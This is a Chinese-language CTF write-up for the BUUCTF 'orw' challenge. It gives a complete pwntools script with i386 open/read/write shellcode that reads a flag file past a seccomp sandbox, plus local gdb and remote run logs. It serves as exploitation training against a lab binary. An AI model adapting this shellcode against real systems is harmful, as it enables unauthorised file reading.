从零开始做题:逆向 ret2shellcode orw
1.题目信息
BUUCTF在线评测

下载orw时防病毒要关闭

2.题目分析
orw是open、read、write的简写。有时候binary会通过prctl、seccomp进行沙箱保护,并不能getshell。只能通过orw的方式拿到flag。
fd=open(‘./flag’); # 打开flag文件,得到fd
read(fd,buf,0x30); #通过fd将flag的内容读到内存中
write(1,buf,0x30); #将内存中的flag内容输出到屏幕

在相关目录里面写入以下内容
holyeyes@ubuntu:~/Re/6$ echo "flag{testtest}" >./flag
holyeyes@ubuntu:~/Re/6$
3.解题脚本
root@pwn_test1604:/ctf/work/6# ls
orw orw.i64 orw.py
root@pwn_test1604:/ctf/work/6# python
Python 2.7.12 (default, Nov 12 2018, 14:36:49)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "./flag".encode('hex')
'2e2f666c6167'
>>> "./flag\x00\x00".encode('hex')
'2e2f666c61670000'
>>>
3.1只用修改的内容
context.arch='i386'DEBUG = 1LOCAL = True
BIN ='./orw'
HOST ='node5.buuoj.cn'
PORT =25178def exploit(p):p.recv()pl = """xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxpush 0x00006761push 0x6c662f2emov eax, 5 #open('./flag')mov ebx, espmov ecx, 0mov edx, 0int 0x80mov ebx, eaxmov eax, 3 #read(fd,esp,0x30)mov ecx, espmov edx, 0x30int 0x80mov eax, 4 #write(1,esp,0x30)mov ebx, 1mov ecx, espmov edx, 0x30int 0x80"""p.sendline(asm(pl))p.interactive()return
3.2全部脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import syscontext.terminal=["tmux","sp","-h"]
context.log_level='debug'
context.arch='i386'DEBUG = 1LOCAL = True
BIN ='./orw'
HOST ='node5.buuoj.cn'
PORT =25178def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter
#aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabdef exploit(p):p.recv()pl = """xor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxpush 0x00006761push 0x6c662f2emov eax, 5 #open('./flag')mov ebx, espmov ecx, 0mov edx, 0int 0x80mov ebx, eaxmov eax, 3 #read(fd,esp,0x30)mov ecx, espmov edx, 0x30int 0x80mov eax, 4 #write(1,esp,0x30)mov ebx, 1mov ecx, espmov edx, 0x30int 0x80"""p.sendline(asm(pl))p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)
3.3 运行本地
root@pwn_test1604:/ctf/work/6# tmux
root@pwn_test1604:/ctf/work/6# python orw.py
root@pwn_test1604:/ctf/work/6# python orw.py [25/25]│ f 1 f765ab23 __read_nocancel+25 [0/48]
[DEBUG] PLT 0x8048370 read │ f 2 8048582 main+58
[DEBUG] PLT 0x8048370 read │ f 3 f759d637 __libc_start_main+247
[DEBUG] PLT 0x8048380 printf │pwndbg> c
[DEBUG] PLT 0x8048390 __stack_chk_fail │Continuing.
[DEBUG] PLT 0x80483a0 __libc_start_main │
[DEBUG] PLT 0x80483b0 prctl │Program received signal SIGSEGV, Segmentation fault.
[DEBUG] PLT 0x80483c0 __gmon_start__ │0x0804a0a8 in shellcode ()
[*] '/ctf/work/6/orw' │LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAArch: i386-32-little │──────────────────────────────────────[ REGISTERS ]───────────────────────────────────────RELRO: Partial RELRO │ EAX 0x30Stack: Canary found │ EBX 0x1NX: NX disabled │ ECX 0xffbd74b4 ◂— 0x67616c66 ('flag')PIE: No PIE (0x8048000) │ EDX 0x30RWX: Has RWX segments │ EDI 0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
[+] Starting local process './orw': pid 179 │ ESI 0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
[*] PID: 179 │ EBP 0xffbd74c8 ◂— 0x0
[DEBUG] Wrote gdb script to '/tmp/pwn1jT2Ys.gdb' │ ESP 0xffbd74b4 ◂— 0x67616c66 ('flag')file ./orw │ EIP 0x804a0a8 (shellcode+72) ◂— 0xa /* '\n' */handle SIGALRM ignore │────────────────────────────────────────[ DISASM ]────────────────────────────────────────set $_base = 0x8048000 │ ► 0x804a0a8 <shellcode+72> or al, byte ptr [eax]
[*] running in new terminal: /usr/bin/gdb -q "./orw" 179 -x "/tmp/pwn1jT2Ys.gdb" │ 0x804a0aa <shellcode+74> add byte ptr [eax], al
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./orw" 1│ 0x804a0ac <shellcode+76> add byte ptr [eax], al
79 -x "/tmp/pwn1jT2Ys.gdb"'] │ 0x804a0ae <shellcode+78> add byte ptr [eax], al
[+] Waiting for debugger: Done
[DEBUG] Received 0x17 bytes: [0/25]│ f 1 f765ab23 __read_nocancel+25 [0/48]'Give my your shellcode:' │ f 2 8048582 main+58
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/inc│ f 3 f759d637 __libc_start_main+247
ludes /dev/stdin │pwndbg> c
[DEBUG] Assembling │Continuing..section .shellcode,"awx" │.global _start │Program received signal SIGSEGV, Segmentation fault..global __start │0x0804a0a8 in shellcode ()_start: │LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA__start: │──────────────────────────────────────[ REGISTERS ]───────────────────────────────────────.intel_syntax noprefix │ EAX 0x30xor eax, eax │ EBX 0x1xor ebx, ebx │ ECX 0xffbd74b4 ◂— 0x67616c66 ('flag')xor ecx, ecx │ EDX 0x30xor edx, edx │ EDI 0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */push 0x00006761 │ ESI 0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */push 0x6c662f2e │ EBP 0xffbd74c8 ◂— 0x0mov eax, 5 #open('./flag') │ ESP 0xffbd74b4 ◂— 0x67616c66 ('flag')mov ebx, esp │ EIP 0x804a0a8 (shellcode+72) ◂— 0xa /* '\n' */mov ecx, 0 │────────────────────────────────────────[ DISASM ]────────────────────────────────────────mov edx, 0 │ ► 0x804a0a8 <shellcode+72> or al, byte ptr [eax]int 0x80 │ 0x804a0aa <shellcode+74> add byte ptr [eax], almov ebx, eax │ 0x804a0ac <shellcode+76> add byte ptr [eax], almov eax, 3 #read(fd,esp,0x30) │ 0x804a0ae <shellcode+78> add byte ptr [eax], almov ecx, esp │ 0x804a0b0 <shellcode+80> add byte ptr [eax], almov edx, 0x30 │ 0x804a0b2 <shellcode+82> add byte ptr [eax], alint 0x80 │ 0x804a0b4 <shellcode+84> add byte ptr [eax], almov eax, 4 #write(1,esp,0x30) │ 0x804a0b6 <shellcode+86> add byte ptr [eax], almov ebx, 1 │ 0x804a0b8 <shellcode+88> add byte ptr [eax], almov ecx, esp │ 0x804a0ba <shellcode+90> add byte ptr [eax], almov edx, 0x30 │ 0x804a0bc <shellcode+92> add byte ptr [eax], alint 0x80 │────────────────────────────────────────[ STACK ]─────────────────────────────────────────
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-bw_t9d/step2 /tmp/pwn-asm-bw_t9d/s│00:0000│ ecx esp 0xffbd74b4 ◂— 0x67616c66 ('flag')
tep1 │01:0004│ 0xffbd74b8 ◂— 0x7365747b ('{tes')
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-bw_t9d/step3 │02:0008│ 0xffbd74bc ◂— 0x73657474 ('ttes')
/tmp/pwn-asm-bw_t9d/step4 │03:000c│ 0xffbd74c0 ◂— 0xf70a7d74
[DEBUG] Sent 0x49 bytes: │04:0010│ 0xffbd74c4 —▸ 0xffbd74e0 ◂— 0x100000000 31 c0 31 db 31 c9 31 d2 68 61 67 00 00 68 2e 2f │1·1·│1·1·│hag·│·h./│ │05:0014│ ebp 0xffbd74c8 ◂— 0x000000010 66 6c b8 05 00 00 00 89 e3 b9 00 00 00 00 ba 00 │fl··│····│····│····│ │06:0018│ 0xffbd74cc —▸ 0xf759d637 (__libc_start_main+247) ◂— add esp, 0x1000000020 00 00 00 cd 80 89 c3 b8 03 00 00 00 89 e1 ba 30 │····│····│····│···0│ │07:001c│ 0xffbd74d0 —▸ 0xf7737000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 000000030 00 00 00 cd 80 b8 04 00 00 00 bb 01 00 00 00 89 │····│····│····│····│ │x1b1db0 */00000040 e1 ba 30 00 00 00 cd 80 0a │··0·│····│·│ │──────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────── 00000049 │ ► f 0 804a0a8 shellcode+72
[*] Switching to interactive mode │ f 1 67616c66
[DEBUG] Received 0x30 bytes: │ f 2 7365747b00000000 66 6c 61 67 7b 74 65 73 74 74 65 73 74 7d 0a f7 │flag│{tes│ttes│t}··│ │ f 3 7365747400000010 e0 74 bd ff 00 00 00 00 37 d6 59 f7 00 70 73 f7 │·t··│····│7·Y·│·ps·│ │ f 4 f70a7d7400000020 00 70 73 f7 00 00 00 00 37 d6 59 f7 01 00 00 00 │·ps·│····│7·Y·│····│ │ f 5 ffbd74e000000030 │ f 6 f759d637 __libc_start_main+247
flag{testtest} │Program received signal SIGSEGV (fault address 0x30)
��\xff\x00\x00\x00\x007�ps�ps�\x007�\x00$
3.4 运行远程
root@pwn_test1604:/ctf/work/6# python orw.py 1
root@pwn_test1604:/ctf/work/6# tmux
[exited]
root@pwn_test1604:/ctf/work/6# python orw.py 1
[DEBUG] PLT 0x8048370 read
[DEBUG] PLT 0x8048380 printf
[DEBUG] PLT 0x8048390 __stack_chk_fail
[DEBUG] PLT 0x80483a0 __libc_start_main
[DEBUG] PLT 0x80483b0 prctl
[DEBUG] PLT 0x80483c0 __gmon_start__
[*] '/ctf/work/6/orw'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX disabledPIE: No PIE (0x8048000)RWX: Has RWX segments
[+] Opening connection to node5.buuoj.cn on port 25178: Done
[DEBUG] Received 0x17 bytes:'Give my your shellcode:'
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling.section .shellcode,"awx".global _start.global __start_start:__start:.intel_syntax noprefixxor eax, eaxxor ebx, ebxxor ecx, ecxxor edx, edxpush 0x00006761push 0x6c662f2emov eax, 5 #open('./flag')mov ebx, espmov ecx, 0mov edx, 0int 0x80mov ebx, eaxmov eax, 3 #read(fd,esp,0x30)mov ecx, espmov edx, 0x30int 0x80mov eax, 4 #write(1,esp,0x30)mov ebx, 1mov ecx, espmov edx, 0x30int 0x80
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-C0CcaA/step2 /tmp/pwn-asm-C0CcaA/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-C0CcaA/step3 /tmp/pwn-asm-C0CcaA/step4
[DEBUG] Sent 0x49 bytes:00000000 31 c0 31 db 31 c9 31 d2 68 61 67 00 00 68 2e 2f │1·1·│1·1·│hag·│·h./│00000010 66 6c b8 05 00 00 00 89 e3 b9 00 00 00 00 ba 00 │fl··│····│····│····│00000020 00 00 00 cd 80 89 c3 b8 03 00 00 00 89 e1 ba 30 │····│····│····│···0│00000030 00 00 00 cd 80 b8 04 00 00 00 bb 01 00 00 00 89 │····│····│····│····│00000040 e1 ba 30 00 00 00 cd 80 0a │··0·│····│·│00000049
[*] Switching to interactive mode
[DEBUG] Received 0x30 bytes:00000000 66 6c 61 67 7b 31 30 33 37 66 34 39 62 2d 33 30 │flag│{103│7f49│b-30│00000010 36 63 2d 34 30 34 32 2d 38 34 31 31 2d 34 38 34 │6c-4│042-│8411│-484│00000020 39 32 64 61 35 37 30 36 62 7d 0a f7 01 00 00 00 │92da│5706│b}··│····│00000030
flag{1037f49b-306c-4042-8411-48492da5706b}
�\x0[DEBUG] Received 0x2b bytes:'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
3.5 避坑提醒
用kali2023的虚机环境不行,要用ubuntu16.04的虚机环境就可以。


相关文章:
从零开始做题:逆向 ret2shellcode orw
1.题目信息 BUUCTF在线评测 下载orw时防病毒要关闭 2.题目分析 orw是open、read、write的简写。有时候binary会通过prctl、seccomp进行沙箱保护,并不能getshell。只能通过orw的方式拿到flag。 fdopen(‘./flag’); # 打开flag文件,得到fd…...
【DDD】学习笔记-限界上下文的控制力
引入限界上下文的目的,不在于如何划分,而在于如何控制边界。因此,我们就需要将对限界上下文的关注转移到对控制边界的理解。显然,对应于统一语言,限界上下文是语言的边界,对于领域模型,限界上下…...
springboot(ssm医院疫情防控系统 疫苗核酸预约系统Java系统
springboot(ssm医院疫情防控系统 疫苗核酸预约系统Java系统 开发语言:Java 框架:springboot(可改ssm) vue JDK版本:JDK1.8(或11) 服务器:tomcat 数据库:mysql 5.7&a…...
go语言中的Mutex
Golang以其并发性Goroutines而闻名。不仅是并发,还有更多。 因此,在这种情况下,我们必须确保多个goroutines不应该同时试图修改资源,从而导致冲突。 为了确保资源一次只能被一个goroutine访问,我们可以使用一个叫做syn…...
Vue的状态管理Vuex
文章目录 一、介绍二、install三、store1、介绍2、创建并全局引入3、单一状态树4、多模块状态树(无命名空间)5、多模块状态树(有命名空间) 本人最近在找工作,有推荐的小伙伴私我,不胜感激。 一、介绍 Vue…...
单片机14-17
目录 LCD1602 LCD1602液晶显示屏 直流电机驱动(PWM) LED呼吸灯 直流电机调速 AD/DA(SPI通信) AD模数转换 DA数模转换 红外遥控(外部中断) 红外遥控 红外遥控电机调速 LCD1602 LCD1602液晶显示屏 …...
DAY_12(树链剖分)
中途摆烂了几天加上考试比赛啥的,导致目前写博客断了。。差了好几天的题目没学了qwq,现在还是按照每天学的东西来写博客吧 今天主要学了树链剖分,怎么说呢,虽然随便拿出今天写的一道题目来看,码量都是一两百行的&…...
Compose | UI组件(九) | Column,Row - 线性布局
文章目录 前言Column 的含义Column 的使用给 Column 加边框Column 使用 verticalArrangement 定位子项位置Column 使用 horizontalAlignment 定位子组件位置Column 设置了大小,可使用Modifier.align修饰符设置子组件对齐方式 Row 的含义Row 的使用 总结 前言 传统的…...
QT+VS实现Kmeans++
1、Kmeans的原理如下: (1)首先选取样本中任一数据点作为第一个聚类中心; (2)计算样本每一个数据点至现所有聚类中心的最近距离,并记录下来; (3)逐一挑选所…...
上位机图像处理和嵌入式模块部署(算法库的编写)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 作为图像处理的engineer来说,有时候我们需要提供上位机软件,有时候需要提供下位机程序,还有一种情况࿰…...
LeetCode1504. Count Submatrices With All Ones
文章目录 一、题目二、题解 一、题目 Given an m x n binary matrix mat, return the number of submatrices that have all ones. Example 1: Input: mat [[1,0,1],[1,1,0],[1,1,0]] Output: 13 Explanation: There are 6 rectangles of side 1x1. There are 2 rectangles…...
(每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第8章 项目整合管理(九)
博主2023年11月通过了信息系统项目管理的考试,考试过程中发现考试的内容全部是教材中的内容,非常符合我学习的思路,因此博主想通过该平台把自己学习过程中的经验和教材博主认为重要的知识点分享给大家,希望更多的人能够通过考试&a…...
帕金森早期诊断准确率提高至 90.2%,深圳先进院联合中山一院提出 GSP-GCNs 模型
中山大学附属第一医院&中科大先进院等研究团队,提出了一种深度学习模型——图信号处理-图卷积网络 (GSP-GCNs),利用从涉及声调调节的特定任务中获得的事件相关脑电图数据来诊断帕金森病。 震颤、动作迟缓、表情僵硬……提起帕金森病,多数…...
java servlet果蔬产业监管系统Myeclipse开发mysql数据库web结构java编程计算机网页项目
一、源码特点 java Web果蔬产业监管系统是一套完善的java web信息管理系统 serlvetdaobean mvc 模式开发 ,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主 要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5…...
Flask 入门
1. 关于 Flask Flask诞生于2010年, Armin Ronacher的一个愚人节玩笑。不过现在已经是一个用python语言基于Werkzeug工具箱编写的轻量级web开发框架,它主要面向需求简单,项目周期短的小应用。 Flask本身相当于一个内核,其他几乎所…...
微信小程序Skyline在手机端不渲染的问题之一及其解决方式
问题:电脑端是skyline渲染,手机端是webview渲染?如何解? 开发者工具 当前渲染模式:Skyline 当进行预览时手机端却是: 请注意看轮播图的显示情况 请注意看轮播图的显示情况 请注意看轮播图的显示情况 从轮播图上来看,手机端是webview渲染…...
怎样做好Code Review
Code Review方案 定义 Code Review代码评审是指在软件开发过程中,通过对源代码进行系统性检查的过程。通常的目的是查找各种缺陷,包括代码缺陷、功能实现问题、编码合理性、性能优化等;保证软件总体质量和提高开发者自身水平 code review …...
臻于至善,CodeArts Snap 二维绘图来一套不?
前言 我在体验 华为云的 CodeArts Snap 时,第一个例子就是绘制三角函数图像,功能注释写的也很简单。 业务场景中,有一类就是需要产出各种二维图形的,比如,折线图、散点图、柱状图等。 为了提前积累业务素材…...
STM32学习笔记(二) —— 调试串口
我们在调试程序时,经常会使用串口打印相关的调试信息,但是单片机串口不能直接与 PC 端的 USB 接口通讯,需要用到一个USB转串口的芯片来充当翻译的角色。我们使用的开发板上有这个芯片,所以在打印调试信息的时候直接使用USB线连接开…...
Ubuntu20.0.4下设置frpc开机自启动
目录 一、下载frp 二、解压 三、服务端部署 1.配置 2.运行 三、客户端部署 1、配置 2、后台运行 四、开机启动 1、拷贝frpc.service 2、修改配置 3、启用服务 五、ubuntu20.04使用 rc-local.service设置开机启动 1、建立开机服务添加 [Install] 段 2、授权rc-local.service 3、…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天,数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具,在大规模数据获取中发挥着关键作用。然而,传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时,常出现数据质…...
【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...
【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制
使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下,限制某个 IP 的访问频率是非常重要的,可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案,使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...
PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
Unity中的transform.up
2025年6月8日,周日下午 在Unity中,transform.up是Transform组件的一个属性,表示游戏对象在世界空间中的“上”方向(Y轴正方向),且会随对象旋转动态变化。以下是关键点解析: 基本定义 transfor…...
SpringAI实战:ChatModel智能对话全解
一、引言:Spring AI 与 Chat Model 的核心价值 🚀 在 Java 生态中集成大模型能力,Spring AI 提供了高效的解决方案 🤖。其中 Chat Model 作为核心交互组件,通过标准化接口简化了与大语言模型(LLM࿰…...
针对药品仓库的效期管理问题,如何利用WMS系统“破局”
案例: 某医药分销企业,主要经营各类药品的批发与零售。由于药品的特殊性,效期管理至关重要,但该企业一直面临效期问题的困扰。在未使用WMS系统之前,其药品入库、存储、出库等环节的效期管理主要依赖人工记录与检查。库…...
